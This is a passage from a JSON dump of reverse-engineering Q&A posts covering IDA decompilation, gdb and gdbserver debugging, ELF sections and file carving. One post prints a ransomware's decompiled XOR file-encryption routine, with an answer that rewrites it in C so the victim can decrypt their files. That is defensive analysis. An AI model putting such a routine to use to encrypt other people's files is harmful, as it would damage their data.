[sp-8h] [bp-418h]@3\n  int v6; // [sp-4h] [bp-414h]@3\n  char v7[4]; // [sp+Ch] [bp-404h]@4\n  char buf[1024]; // [sp+10h] [bp-400h]@3\n\n  v3 = this;\n  if ( a2 &amp;&amp; (signed int)a3 &gt; 0 )\n  {\n    *(_DWORD *)buf = 0;\n    //Might be a swap of the 5th offset DWORD to end of the packet?\n    //Or maybe it fills in the packet offsetted by the first 4 bytes?\n    memcpy(&amp;buf[4], a2, 4 * (a3 / 4)); // Looks like Copy by DWORDs, not by Bytes.\n    v6 = 0;\n    v5 = a3 + 4;\n    v4 = buf;\n    //Might be a swap of the end of the packet to the 5th offset DWORD?\n    //Looks like some kind of footer to above memcpy function like to finish what the first function couldn't do?\n    memcpy(&amp;buf[4 * (a3 / 4) + 4], (char *)a2 + 4 * (a3 / 4), a3 &amp; 3);// Looks like Copy by DWORDs, not by Bytes.\n  }\n  else\n  {\n    v6 = 0;\n    *(_DWORD *)v7 = GetTickCount() / 0xA;\n    v5 = 4;\n    v4 = v7;\n  }\n  send(*(_DWORD *)v3, v4, v5, v6);\n}\n</code></pre>\n\n<p>Okay I gave it some more time could this be the correct?</p>\n\n<pre><code>void __thiscall test(void *this, const void *a2, unsigned int a3)\n{\n  void *v3; // ebx@1\n  char *v4; // eax@3\n  int v5; // [sp-8h] [bp-418h]@3\n  int v6; // [sp-4h] [bp-414h]@3\n  char v7[4]; // [sp+Ch] [bp-404h]@4\n  char buf[1024]; // [sp+10h] [bp-400h]@3\n\n  v3 = this;\n  if ( a2 &amp;&amp; (signed int)a3 &gt; 0 )\n  {\n    *(_DWORD *)buf = 0;\n    memmove(&amp;buf[4],a2,a3 - 4); \n\n    v6 = 0;\n    v5 = a3 + 4;\n    v4 = buf;\n  }\n  else\n  {\n    v6 = 0;\n    *(_DWORD *)v7 = GetTickCount() / 0xA;\n    v5 = 4;\n    v4 = v7;\n  }\n  send(*(_DWORD *)v3, v4, v5, v6);\n}\n</code></pre>\n\n<p>Assembly below</p>\n\n<pre><code>.text:00408750 ; =============== S U B R O U T I N E =======================================\n.text:00408750\n.text:00408750\n.text:00408750 ; void __thiscall test(void *this, const void *a2, unsigned int a3)\n.text:00408750 test proc near\n.text:00408750                                         ; CODE XREF: ServerMainLoop+5DDp\n.text:00408750                                         ; ServerMainLoop+64Dp\n.text:00408750\n.text:00408750 var_404         = byte ptr -404h\n.text:00408750 buf             = byte ptr -400h\n.text:00408750 a2              = dword ptr  4\n.text:00408750 a3              = dword ptr  8\n.text:00408750\n.text:00408750                 sub     esp, 404h\n.text:00408756                 push    ebx\n.text:00408757                 push    esi\n.text:00408758                 mov     esi, [esp+40Ch+a2]\n.text:0040875F                 push    edi\n.text:00408760                 test    esi, esi\n.text:00408762                 mov     ebx, ecx\n.text:00408764                 jz      short loc_408799\n.text:00408766                 mov     eax, [esp+410h+a3]\n.text:0040876D                 test    eax, eax\n.text:0040876F                 jle     short loc_408799\n.text:00408771                 mov     ecx, eax\n.text:00408773                 lea     edi, [esp+410h+buf+4]\n.text:00408777                 mov     edx, ecx\n.text:00408779                 mov     dword ptr [esp+410h+buf], 0\n.text:00408781                 shr     ecx, 2\n.text:00408784                 rep movsd\n.text:00408786                 mov     ecx, edx\n.text:00408788                 push    0\n.text:0040878A                 and     ecx, 3\n.text:0040878D                 add     eax, 4\n.text:00408790                 push    eax\n.text:00408791                 lea     eax, [esp+418h+buf]\n.text:00408795                 rep movsb\n.text:00408797                 jmp     short loc_4087B7\n.text:00408799 ; ---------------------------------------------------------------------------\n.text:00408799\n.text:00408799 loc_408799:                             ; CODE XREF: test+14j\n.text:00408799                                         ; test+1Fj\n.text:00408799                 call    ds:GetTickCount\n.text:0040879F                 mov     edx, eax\n.text:004087A1                 mov     eax, 0CCCCCCCDh\n.text:004087A6                 mul     edx\n.text:004087A8                 shr     edx, 3\n.text:004087AB                 push    0               ; flags\n.text:004087AD                 mov     dword ptr [esp+414h+var_404], edx\n.text:004087B1                 push    4               ; len\n.text:004087B3                 lea     eax, [esp+418h+var_404]\n.text:004087B7\n.text:004087B7 loc_4087B7:                             ; CODE XREF: test+47j\n.text:004087B7                 mov     ecx, [ebx]\n.text:004087B9                 push    eax             ; buf\n.text:004087BA                 push    ecx             ; s\n.text:004087BB                 call    send\n.text:004087C0                 pop     edi\n.text:004087C1                 pop     esi\n.text:004087C2                 pop     ebx\n.text:004087C3                 add     esp, 404h\n.text:004087C9                 retn    8\n.text:004087C9 test endp\n.text:004087C9\n.text:004087C9 ; ---------------------------------------------------------------------------\n</code></pre>\n",
        "Title": "Can someone tell me what this memcpy or maybe it's a memset? looks like a memset, rep movsd and rep movsb This is a packet sending function",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>It's not a memset at all, it's just a memcpy. Copying dword by dword is more efficient than byte by byte, since 32 bits of data bus can be used per copy (at least if the data is word aligned). So what the compiler does is:</p>\n\n<ul>\n<li>divide the number of bytes by 4, by shifting cx right by 2 bits</li>\n<li>copy the appropriate number of 4-byte-dwords, using movsd</li>\n<li>calulate the remainder of the number of bytes (by AND-ing cx with 3)</li>\n<li>copy these bytes one-by-one, using movsb</li>\n</ul>\n\n<p>What adds to the confusion is that the compiler already prepares the arguments for the next function call while still doing the memcpy - the <code>push 0</code>, <code>add eax, 4</code> and <code>push eax</code> belong to the send call after the <code>jmp</code>.</p>\n"
    },
    {
        "Id": "4192",
        "CreationDate": "2014-04-28T15:25:38.817",
        "Body": "<p>Here is my <code>objdump -d</code> snippet with the malloc call and surrounding code.  This binary is stripped.  </p>\n\n<pre><code>dbgLab.bin:     file format elf32-i386\n\n\n080483d0 &lt;malloc@plt&gt;:\n 80483d0:   ff 25 04 a0 04 08       jmp    *0x804a004\n 80483d6:   68 08 00 00 00          push   $0x8\n 80483db:   e9 d0 ff ff ff          jmp    80483b0 &lt;printf@plt-0x10&gt;\n\n\nDisassembly of section .text:\n\n\n 804853e:   55                      push   %ebp\n 804853f:   89 e5                   mov    %esp,%ebp\n 8048541:   83 e4 f0                and    $0xfffffff0,%esp\n 8048544:   83 ec 20                sub    $0x20,%esp\n 8048547:   c6 44 24 1f cf          movb   $0xcf,0x1f(%esp)\n 804854c:   c7 04 24 0d 00 00 00    movl   $0xd,(%esp)\n 8048553:   e8 78 fe ff ff          call   80483d0 &lt;malloc@plt&gt;\n 8048558:   89 44 24 18             mov    %eax,0x18(%esp)\n 804855c:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)\n 8048560:   7f 0c                   jg     804856e &lt;strncmp@plt+0x12e&gt;\n 8048562:   c7 04 24 ff ff ff ff    movl   $0xffffffff,(%esp)\n 8048569:   e8 92 fe ff ff          call   8048400 &lt;exit@plt&gt;\n 804856e:   8b 45 0c                mov    0xc(%ebp),%eax\n 8048571:   83 c0 04                add    $0x4,%eax\n 8048574:   8b 00                   mov    (%eax),%eax\n 8048576:   c7 44 24 08 0d 00 00    movl   $0xd,0x8(%esp)\n</code></pre>\n",
        "Title": "At which address on the stack or in memory is eax stored after the malloc call?",
        "Tags": "|ida|decompilation|debuggers|gdb|objdump|",
        "Answer": "<p>A call to <code>malloc</code> returns the address of the allocated memory in the <code>eax</code> register on <code>x86</code>, <code>rax</code> on <code>x86_64</code>, and <code>r0</code> on <code>ARM</code>. Nothing is pushed on the stack. Check the line following the call to <code>malloc</code> &amp; you'll understand !\nYou should check the calling conventions of your platform too. </p>\n\n<p>Suppose you have this in your code :</p>\n\n<pre><code>      int *p = malloc(sizeof(int) * 4);\n</code></pre>\n\n<p>If you translate this line into assembly you'll get what follows : </p>\n\n<pre><code>      call   80483d0 &lt;malloc@plt&gt;\n      mov    %eax,0x18(%esp)\n</code></pre>\n\n<p>The <code>malloc</code> call returns in <code>eax</code> the address of allocated memory block. In the C code, this address is assigned to <code>p</code> which is a local variable located on the stack. And that's what the following assembly does : <code>mov %eax,0x18(%esp)</code>.    </p>\n"
    },
    {
        "Id": "4196",
        "CreationDate": "2014-04-29T00:58:56.597",
        "Body": "<p>How can I figure out which general-purpose registers are modified by a function call. I am programming a Win32 Assembly program that calls IsDebuggerPresent(). According to MSDN, it will return a boolean value of nonzero is a debugger is present. How would I find out which register is modified without having to assemble and link the program to test it.</p>\n",
        "Title": "registers set by function",
        "Tags": "|windows|debugging|anti-debugging|",
        "Answer": "<p>In general, this concept is referred to as <em>register preservation</em> or <em>register volatility</em>.</p>\n\n<p>From <a href=\"http://en.wikipedia.org/wiki/X86_calling_conventions#Register_preservation\">http://en.wikipedia.org/wiki/X86_calling_conventions#Register_preservation</a> --</p>\n\n<blockquote>\n  <p>According to the Intel ABI to which the vast majority of compilers\n  conform, the <code>EAX</code>, <code>EDX</code>, and <code>ECX</code> are to be free for use within a\n  procedure or function, and need not be preserved.</p>\n</blockquote>\n\n<p>In other words, an API function such as <code>IsDebuggerPresent()</code> might modify <code>EAX</code>, <code>EDX</code>, and/or <code>ECX</code>, but it won't modify <code>EBX</code>, <code>ESP</code>, or <code>EBP</code>.</p>\n"
    },
    {
        "Id": "4203",
        "CreationDate": "2014-04-29T20:42:00.310",
        "Body": "<p>I am looking for something that is like <code>gdb</code> but maybe with a GUI that can show all registers current values ans the current values of memory and things on the stack?  Freeware is preferred.  I have a free version of IDA and anything that comes with Kali Linux.  It is an ELF file that is stripped.</p>\n",
        "Title": "Tools to show the registers and memory locations in use during execution?",
        "Tags": "|ida|disassembly|decompilation|binary-analysis|gdb|",
        "Answer": "<p>cgdb is a curses based gdb interface that may be worth looking at: </p>\n\n<p><a href=\"https://cgdb.github.io/\" rel=\"nofollow\">https://cgdb.github.io/</a></p>\n"
    },
    {
        "Id": "4213",
        "CreationDate": "2014-04-30T11:32:13.813",
        "Body": "<p>I have a problem just like in the question. Modern compilers don't use <code>ebp</code> to handle local variables and arguments, they just calculate and add hard=coded offsets to <code>esp</code>. Example: </p>\n\n<pre><code>sub     esp, 5Eh  \n...     \nmov     [esp+5Eh+var_1], 123h\nmov     [esp+5Eh+var_2], 456h\ncall    some_func            ; var_1 and var_2 point to actual addresses\ncmp     eax, 0               ; esp changed (stdcall), var_1 and var_2 point to wrong addresses\n\n...\n\n;  creation of a \"fake\" variable example:\n;  var_3 = -8h\n;  var_4 = -12h \nmov     [esp+5Eh+var_3], 78h  ; var_3 at: esp + 5Eh -8h\npop     eax                   ; esp = esp + 4  \nmov     [esp+5Eh+var_4], 89h  ; var_4 at: esp + 4  + 5eh -12h = esp + 5Eh -8h = var_3\n; desireable fix:\nmov     [esp+62h+var_3], 89h \n</code></pre>\n\n<p>This results in a lot of overhead: IDA creates \"fake\" local variables (i.e. several names for one and the same address), you can't freely check variables whenever you want to, you have to create additional comments, etc. So I was wondering is there any way to fix that ?</p>\n\n<p>PS. I'm using IDA Pro Free. Tell me if it is possible only in IDA Pro (full version). </p>\n",
        "Title": "Is there a way to adjust local variables when a function doesn't utilize ebp?",
        "Tags": "|ida|",
        "Answer": "<p>The variable names that IDA is generating aren't \"fake\"; they are exactly the same as they would be labeled had the function been <code>ebp</code>-based. The problem you describe is only really an issue when debugging since that's the only time you can inspect the values pointed to. I'm not aware of any built-in way to get IDA to display what you want. When you hover over an operand, IDA just takes the current value of the register and adds the offset. If <code>esp</code> has changed, then it will show you the wrong address, which is what you're seeing in your example.</p>\n\n<p>Since IDA does know the correct stack offset, one way to do what you're asking is to write an IDC script that checks <code>eip</code> and adjusts for the difference in <code>esp</code> values before calculating the final target address. The IDC function that gets the stack offset at a given address is <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/351.shtml\" rel=\"nofollow\"><code>GetSpd()</code></a>. The algorithm would go something like this:</p>\n\n<ol>\n<li>Calculate the target address of the operand you are interested in (i.e. esp+5Eh+var_1 -> 0x10000000)</li>\n<li>Get the stack pointer delta (SPD) of the line containing the operand you're interested in (i.e. 5Eh)</li>\n<li>Get the SPD of <code>eip</code> (i.e. 6Eh)</li>\n<li>Calculate the difference of the two SPDs and add (or subtract) that amount from the target address you calculated in step 1 (i.e. 0x10000000 + (6Eh-5Eh) = 0x10000010)</li>\n<li>Go to your calculated address ([0x10000010] contains the variable you are after)</li>\n</ol>\n"
    },
    {
        "Id": "4216",
        "CreationDate": "2014-04-30T16:20:48.623",
        "Body": "<p>I am a noob to the reversing world.  I have a Android Java application which uses a shared library via JNI and I would like to set a breakpoint in the shared library.  The shared library is stripped so as I far as I understand I can set breakpoints by address only.  I have put the shared object through IDA and have a couple of positions I would like to set breakpoints but I am unsure on how I can calculate this or even if this is possible.  I am using gdbserver on Android attaching to the process and connecting from Mac OSX using gdb in the NDK.  I have been trying to calculate the memory address by taking what /proc/'pid'/smap gives me and calculating an offset from the IDA assembly I have.  Is this the right direction?  Is this even possible?</p>\n",
        "Title": "Set breakpoint on shared library",
        "Tags": "|ida|gdb|android|arm|",
        "Answer": "<p>I've been doing the same/similar stuff recently, and while you can get it to work, it's not that easy.</p>\n\n<p>It helps if you have a rooted android device, a terminal emulator to run gdbserver, and, if possible, a terminal emulator that can open more than one window, so you kan kill the gdbserver from the second window if it hangs up. Also, a real keyboard on the android device helps, as it's much easier to repeat commands when you have real cursor keys.</p>\n\n<p>You don't need to connect your Droid to your mac using an USB cable. I started gdbserver like this:</p>\n\n<pre><code>gdbserver --attach 0.0.0.0:8765 2338\n</code></pre>\n\n<p>(where 2338 is the pid of my target application), then used</p>\n\n<pre><code>$ arm-none-eabi-gdb\ntarget remote 192.168.178.103:8765\n</code></pre>\n\n<p>to connect. 192.168.178.103 is the IP address of my android device.</p>\n\n<p>I didn't want to install the complete NDK on my machine, so i downloaded the ARM GDB from <a href=\"https://launchpad.net/gcc-arm-embedded/+download\" rel=\"nofollow\">https://launchpad.net/gcc-arm-embedded/+download</a>, they have windows, linux and mac versions. The NDK GDB should probably work as well, of course.</p>\n\n<p>You can add the \"IDA Address\" of the function to the Map address. For example, in my library:</p>\n\n<ul>\n<li>The two functions i was interested in had \"IDA addresses\" BA584 and BA99C.</li>\n<li>The address in /proc/maps said 688D0000 as base address of the executable segment.</li>\n<li>The real function addresses were 6898A584/6898A99C, which is base address + \"IDA address\" in both cases.</li>\n</ul>\n\n<p>There are two things to consider when you check you really found the correct address:</p>\n\n<ul>\n<li><p>You can't use the gdb disassemble command as it relies on functions and symbols. Use the x/i command to disassemble. For example, in my case, x/20i 0x6898A584 to see the 20 instructions at this address.</p></li>\n<li><p>The arm has two different modes, Thumb mode and ARM mode. If gdb has no symbols, it might choose the wrong one when disassembling, making your GDB disassembly not resemble the IDA disassembly at all. </p></li>\n</ul>\n\n<p>Use <code>set arm force-mode arm</code> and <code>set arm force-mode thumb</code> to try both. For example, this is what IDA told me about my BA584 function:</p>\n\n<pre><code>.text:000BA584\n.text:000BA584 sub_BA584                               ; CODE XREF: sub_BF1C4+3Ap\n...\n.text:000BA584                 PUSH.W          {R4-R11,LR}\n.text:000BA588                 MOV             R6, R0\n.text:000BA58A                 SUB             SP, SP, #0x1C\n.text:000BA58C                 LDR             R0, [R0,#0x18]\n.text:000BA58E                 MOV             R4, R1\n.text:000BA590                 STR             R2, [SP,#0x40+var_34]\n</code></pre>\n\n<p>this is what gdb made of it first:</p>\n\n<pre><code>(gdb) x/20i 0x6890F584\n 0x6890f584:  svcmi   0x00f0e92d\n 0x6890f588:  addlt   r4, r7, r6, lsl #12\n 0x6890f58c:  strmi   r6, [r12], -r0, lsl #19\n 0x6890f590:  stmdacs r0, {r0, r1, r9, r12, pc}\n 0x6890f594:  bichi   pc, r10, r0\n 0x6890f598:  mlapl   r12, r6, r8, pc ; &lt;UNPREDICTABLE&gt;\n 0x6890f59c:                  ; &lt;UNDEFINED&gt; instruction: 0xf0402d00\n</code></pre>\n\n<p>then</p>\n\n<pre><code>(gdb) set arm force-mode thumb\n(gdb) x/20i 0x6890F584\n 0x6890f584:  stmdb   sp!, {r4, r5, r6, r7, r8, r9, r10, r11, lr}\n 0x6890f588:  mov     r6, r0\n 0x6890f58a:  sub     sp, #28\n 0x6890f58c:  ldr     r0, [r0, #24]\n 0x6890f58e:  mov     r4, r1\n 0x6890f590:  str     r2, [sp, #12]\n</code></pre>\n\n<p>So don't give up if the disassembly looks weird, try forcing thumb / arm mode.</p>\n\n<p>My application crashed various times when i was debugging it, which made gdbserver lose sync with gdb, resulting in lots of \"Ignoring packet error\" messages from gdb. Killing gdbserver (thus the 2nd window), restarting the application, and reconnecting gdb seemed to be the only remedy in these cases. When you restart the application, make sure you re-check /proc/..../maps for the .so base address, it stays the same most of the time but changes sometimes, especially when there's some time between invocations. You'll notice my address (0x6890F584) in the above example does not match the one i told you earlier, this is because in the example, the map base address had changed to 68855000.</p>\n"
    },
    {
        "Id": "4219",
        "CreationDate": "2014-04-30T18:22:47.713",
        "Body": "<p>I am using EDB and stepping through the program but I do not even know what the difference in behavior is when doing this.  I feel like this is something I should know if I ever have hope of reverse engineering this program.</p>\n",
        "Title": "What is the difference between step into and step over when debugging?",
        "Tags": "|ida|disassembly|debuggers|gdb|debugging|",
        "Answer": "<p>The <code>gdb</code> terms (and commands) are <code>step</code> and <code>next</code> and the difference is that <code>step</code> continues to run until it changes line of source code, while <code>next</code> doesn't trace into a subroutine, but rather skips over it. The <code>stepi</code> and <code>nexti</code> commands are similar but operate at the machine instruction level rather than source code level. Read more in <a href=\"https://sourceware.org/gdb/current/onlinedocs/gdb/Continuing-and-Stepping.html#Continuing-and-Stepping\" rel=\"nofollow noreferrer\">The Fine Manual</a>.</p>\n<p>Here's an example that may help clarify.  Let's say you have a simple project with three simple files:</p>\n<h2>main.c</h2>\n<pre><code>#include &quot;squareit.h&quot;\n#include &lt;stdio.h&gt;\n\nint main(void) {\n    int x = 5;\n    printf(&quot;%d squared is %d\\n&quot;, x, squareit(x));\n}\n</code></pre>\n<h2>squareit.h</h2>\n<pre><code>#ifndef SQUAREIT_H\n#define SQUAREIT_H\n// return the square of an integer\nint squareit(int x);\n#endif // SQUAREIT_H\n</code></pre>\n<h2>squareit.c</h2>\n<pre><code>#include &quot;squareit.h&quot;\n\nint squareit(int x) {\n    return x*x;\n}\n</code></pre>\n<p>We compile the program with debugging flags enabled (<code>gcc -g main.c squareit.c -o simple</code>) and then run <code>gdb simple</code>.  If we are sitting on the <code>printf</code> line and execute <code>step</code>, we will find ourselves in the <code>squareit()</code> function.  If instead at that same point we execute <code>next</code>, the <code>squareit()</code> function and the <code>printf()</code> functions will both execute and we will find ourselves on the last line of <code>main()</code>.</p>\n<p>The session follows:</p>\n<pre><code>(gdb) b main\nBreakpoint 1 at 0x40113d: file ./main.c, line 5.\n(gdb) run\nStarting program: ./simple \n\nBreakpoint 1, main () at ./main.c:5\n5       int x = 5;\n(gdb) step\n6       printf(&quot;%d squared is %d\\n&quot;, x, squareit(x));\n(gdb) s\nsquareit (x=5) at ./squareit.c:4\n4       return x*x;\n(gdb) s\n5   }\n(gdb) s\n5 squared is 25\nmain () at ./main.c:7\n7   }\n(gdb) r\nThe program being debugged has been started already.\nStart it from the beginning? (y or n) y\nStarting program: ./simple \n\nBreakpoint 1, main () at ./main.c:5\n5       int x = 5;\n(gdb) s\n6       printf(&quot;%d squared is %d\\n&quot;, x, squareit(x));\n(gdb) next\n5 squared is 25\n7   }\n</code></pre>\n<p>The <code>gdb</code> commands used here are <code>b</code> to set a breakpoint, <code>s</code> which is an alias of <code>step</code>, <code>next</code> (has an alias of <code>n</code>) and <code>run</code> (has an alias of <code>r</code>).</p>\n"
    },
    {
        "Id": "4226",
        "CreationDate": "2014-04-27T20:16:34.257",
        "Body": "<p>I have been battling this infection I got that encrypts my files in 512 byte chunks with a friend. We have managed to find the Decryption function we think in IDA (the code is <em>heavily</em> obfuscated) from a user who paid for the decrypter. Below is the C dump of the encryption function:</p>\n\n<pre><code>int __stdcall sub_40C78E(int a1, int a2, int a3, int a4)\n{\n  int result;\n  char v5; \n  int v6; \n  int v7; \n  int v8; \n\n  v7 = a1;\n  v6 = a2;\n  v5 = 0;\n  result = 0;\n  if ( a2 )\n  {\n    v8 = a3;\n    do\n    {\n      LOBYTE(v8) = v5 + v8;\n      *(_BYTE *)v7 ^= v8;\n      v5 = *(_BYTE *)v7++;\n      v8 = __ROL__(a4 + v8, 8);\n      --v6;\n    }\n    while ( v6 );\n    result = v8;\n  }\n  return result;\n}\n</code></pre>\n\n<p>My friend tried to simplify it or make sense of it and this is what he came up with:</p>\n\n<pre><code>int __stdcall sub_40C78E((_BYTE *)buffer, int nonce1, int nonce2)\n{\n  char v5; \n  int n; \n  int v8; \n\n  n = 0x400;    // It is a little bit confusing, because the length of block is 0x200 (rest of buffer is filled by 0).\n                        // Only first 0x200 bytes are saved to a file for block CT0A.\n  v5 = 0;\n  v8 = nonce1;\n\n  do\n  {\n      LOBYTE(v8) = v5 + LOBYTE(v8);\n      *buffer ^= LOBYTE(v8);\n      v5 = *buffer;\n      buffer++;\n      v8 = __ROL__(nonce2 + v8, 8);\n      --n;\n  }\n  while ( n );\n\nreturn v8;       \n}\n</code></pre>\n\n<p>Where nonce1 and nonce2 is suppose to represent some kind of key.</p>\n\n<p>What we have found with this infection is that if you XOR the first byte of the cipher text with the plain text, you get a key byte you can use to get the first byte of every file back. Which makes sense with this function because the first time in the loop the key is added to 0, which means it is simply the key. But then this guy used some type of weird CFB type xor encryption where it uses the previous xor'ed byte with the key next.</p>\n\n<p>I just don't quite understand the function and I was hoping somewhere here could perhaps simplify it more for me or explain it. I also know C#, and VB if anyone would know how to explain the function in these languages.</p>\n",
        "Title": "IDA Pro C dump for Decryption function",
        "Tags": "|c|ida|",
        "Answer": "<p>As you expected, it's doing a very simple XOR.  The equivalent code looks something like this:</p>\n\n<pre><code>int mystery(char *buff, int bufsize, int nonce1, int nonce2)\n{\n  int result = 0;\n  // ch is the next byte (character) in the buffer\n  char ch = 0; \n  int count = bufsize; \n  char *ptr = buff; \n  int x;\n\n  for (x = nonce1; count; --count)\n  {\n      // this bit of trickery just replaces the low 8 bits\n      // of x with the low 8 bits of (x+ch) neglecting carry, if any\n      x = (x &amp; ~0xff) | ((x+ch) &amp; 0xff);\n      // XOR the buffer with the calculated x value\n      *ptr ^= x;\n      // read in the next character into ch\n      ch = *ptr++;\n      // obfuscate by adding nonce2 \n      x += nonce2;\n      // if x = 0x12345678, this would make it 0x34567812\n      // for 32-bit ints.  Just a rotate left of 8 bits.\n      x = (x&lt;&lt;8) | ((x &gt;&gt;((sizeof(int)-1)*8) ) &amp; 0xff);  \n  }\n  result = x;\n  // return the last calculated x which may be used to chain all\n  // of the blocks together.  That is, the return value x is \n  // probably passed as nonce1 to encode the next block.\n  return result;\n}\n</code></pre>\n"
    },
    {
        "Id": "4230",
        "CreationDate": "2014-05-01T21:50:42.797",
        "Body": "<p>Test is on Linux 32bit.</p>\n\n<p>I use this command to get the context of <code>.text</code> <code>.rodata</code> and <code>.data</code> section:</p>\n\n<pre><code>objdump -s -j .text elf_binary\nobjdump -s -j .rodata elf_binary\nobjdump -s -j .data elf_binary\n</code></pre>\n\n<p>But basically when I tried to use this to get the content of <code>.bss</code> section, I always get the error shown below:</p>\n\n<pre><code>objdump -s -j .bss elf_binary\n\nobjdump: section '.bss' mentioned in a -j option, but not found in any input file\n</code></pre>\n\n<p>Basically how can I get the content of <code>.bss</code> section from ELF binary?</p>\n",
        "Title": "Why I can not directly get the content of `.bss` section?",
        "Tags": "|disassembly|binary-analysis|elf|",
        "Answer": "<p>The <code>.bss</code> <em>block started by symbol</em> (also called Uninitialized data segment - <code>bss</code> is an old assembly instruction on an ancient IBM chip) section is supposed to contain <code>global variables</code> and <code>static variables</code> uninitialized or initialized to 0 or NULL. The <code>.bss</code> section is usually non existing until your program starts executing, this is why you can't retrieve its content statically. It is fairly important to note that this section helps reduce the program's size &amp; makes it quicker to load. </p>\n"
    },
    {
        "Id": "4238",
        "CreationDate": "2014-05-02T18:05:36.500",
        "Body": "<p>I have got a file which contains other files. I know where the subfiles start (<code>header</code>) but how do I know where the subfiles end ?</p>\n\n<p>Edit: Files are like: <em>sound files (.wav)</em> and <em>images (.bmp, png, jpeg)</em></p>\n\n<p>Example:</p>\n\n<pre><code>file1\nfile2\ndata\nfile3\n</code></pre>\n\n<p>How do I know where <code>file2</code> starts and <code>file2</code> ends ?</p>\n",
        "Title": "Finding end of file",
        "Tags": "|binary-analysis|file-format|",
        "Answer": "<p>Check out <a href=\"https://bitbucket.org/haypo/hachoir/wiki/hachoir-subfile\" rel=\"nofollow\">hachoir-subfile</a>. Example from their repo.  </p>\n\n<pre><code>$ hachoir-subfile chiens.PPS\n[+] Start search (828.5 KB)\n\n[+] Found file at 0: Microsoft Office document\n[+] Found file at 537 size=28449 (27.8 KB): JPEG picture: 433x300 pixels\n[+] Found file at 29011 size=34761 (33.9 KB): JPEG picture: 433x300 pixels\n[+] Found file at 63797 size=40326 (39.4 KB): JPEG picture: 433x300 pixels\n[+] Found file at 104148 size=30641 (29.9 KB): JPEG picture: 433x300 pixels\n[+] Found file at 134814 size=22782 (22.2 KB): JPEG picture: 384x325 pixels\n[+] Found file at 157621 size=24744 (24.2 KB): JPEG picture: 443x313 pixels\n[+] Found file at 182390 size=27241 (26.6 KB): JPEG picture: 443x290 pixels\n[+] Found file at 209656 size=27407 (26.8 KB): JPEG picture: 443x336 pixels\n[+] Found file at 237088 size=30088 (29.4 KB): JPEG picture: 388x336 pixels\n[+] Found file at 267201 size=30239 (29.5 KB): JPEG picture: 366x336 pixels\n[+] Found file at 297465 size=81634 (79.7 KB): JPEG picture: 630x472 pixels\n[+] Found file at 379124 size=36142 (35.3 KB): JPEG picture: 599x432 pixels\n[+] Found file at 415291 size=28801 (28.1 KB): JPEG picture: 443x303 pixels\n[+] Found file at 444117 size=28283 (27.6 KB): JPEG picture: 433x300 pixels\n[+] Found file at 472425 size=95913 (93.7 KB): PNG picture: 433x431x8\n[+] Found file at 568363 size=219252 (214.1 KB): PNG picture: 532x390x8\n[+] Found file at 811308 size=20644 (20.2 KB): Microsoft Windows Metafile (WMF) picture\n</code></pre>\n\n<p><a href=\"https://bitbucket.org/snippets/Alexander_Hanel/EXKzg/extractsubfile\" rel=\"nofollow\">ExtractSubFile</a> can be used if you need to carve out the files. </p>\n"
    },
    {
        "Id": "4240",
        "CreationDate": "2014-05-02T18:47:25.400",
        "Body": "<p>OK, so basically I want to <strong>re-use</strong> the content from dumped <code>.rodata</code> <code>data</code> and <code>bss</code> section from ELF on Linux 32bit.</p>\n\n<p>The dump command:</p>\n\n<pre><code>objdump -s -j .text elf_binary\nobjdump -s -j .rodata elf_binary\nobjdump -s -j .data elf_binary\n</code></pre>\n\n<p>and for the <code>.bss</code> section, I am preparing to re-use a bunch of <code>00000000</code> which has the same size of the <code>bss</code> section.</p>\n\n<p>It works fine when I re-use it in <code>nasm</code> assembler in this way.</p>\n\n<pre><code>.section rodata\nS_label1: db 0x01\n         db 0x02\n         ....  \n.section data\n        db 0x01\nS_label2:  db 0x02\n         ....\n.section bss\nS_label3: db 0x00\n         db 0x00\n         ....\n\nnasm -f elf test.s\n</code></pre>\n\n<p>But basically my question is that:</p>\n\n<p>how to re-use these dumped sections in <code>gas</code> asssembler?</p>\n\n<p>Basically <code>gas</code> has a different assemble style, and apparently the data sections representations are different...</p>\n\n<p>I tried for several times and I still can not find the solution..</p>\n\n<p>Did I clearly demonstrate my question..? Could anyone give me some help?</p>\n\n<p>=======update==========</p>\n\n<p>So basically I want to re-use the <code>rodata</code> <code>data</code> and <code>bss</code> sections dumped from another binary.</p>\n\n<p>For example, here is the content of <code>rodata</code> section</p>\n\n<pre><code>03000000 01000200 0a0a556e 736f7274\n65642061 72726179 2069733a 20200020\n25642000 0a0a536f 72746564 20617272\n61792069 733a2020 00\n</code></pre>\n\n<p>and I can re-use it in this way:</p>\n\n<pre><code>label1: \ndb 0x03\ndb 0x00\ndb 0x00\ndb 0x00\nlabel2: \ndb 0x01\ndb 0x00\ndb 0x02\ndb 0x00\n.....\n\nmov eax, label1      // of course I will guarantee that I use it correctly\n....\n</code></pre>\n\n<p>Basically in <code>nasm</code>, I can easily re-use them in the above way, but my question is that , how can I re-use it in <code>gas</code> (or directly use <code>gcc</code>) in a similiar way?</p>\n\n<p>Is it possible?</p>\n",
        "Title": "How to directly re-use the dumped content of `.rodata`, `.data` and `.bss` section?",
        "Tags": "|disassembly|assembly|nasm|",
        "Answer": "<p>thanks @yaspr for his excellent answer.</p>\n\n<p>So in this post I was asking that </p>\n\n<p><strong>How to re-use <code>.rodata</code> <code>.data</code> and <code>.bss</code> sections' contents?</strong></p>\n\n<p>Here is my answer:</p>\n\n<p>you can quickly go this way once you dumped all the content of these sections, I use a hello world code to demostrate it:</p>\n\n<pre><code>.section .text\n.globl  main\nmain:\npush   %ebp\nmov    %esp,%ebp\nand    $0xfffffff0,%esp\nsub    $0x20,%esp\nfldl   S_80484f0     // lift the conceret address into symbol\nfstpl  0x18(%esp)\nfldl   0x18(%esp)\nfstpl  0x4(%esp)\nmovl   $S_80484e0,(%esp) // lift the conceret address into symbol\ncall   printf\nleave\nret\nnop\nnop\nnop\n\n.section .rodata\n\nS_80484e0:\n.long 0x6c6c6568\n.long 0x6f77206f\n.long 0x20642c72\n.long 0x000a6625\n\nS_80484f0:\n.long 0x00000000\n.long 0x40240000\n</code></pre>\n\n<p>To @yaspr about AT&amp;T vs. Intel style:</p>\n\n<p>It is obviously that Intel style is much more clear that AT&amp;T:)</p>\n\n<p>However, in the current project I am struggling on, I find it might not be very easy to use <code>nasm</code> inside a bunch of GNU tools(<code>objdump</code> <code>objcopy</code> <code>ld</code> and others...)  </p>\n\n<p>IMHO, Even though <code>objdump</code> can disassemble in <code>Intel</code> style, I still encounter a bunch of problems/unclear issues, especially after comparing the disassemble results between <code>objdump</code> and 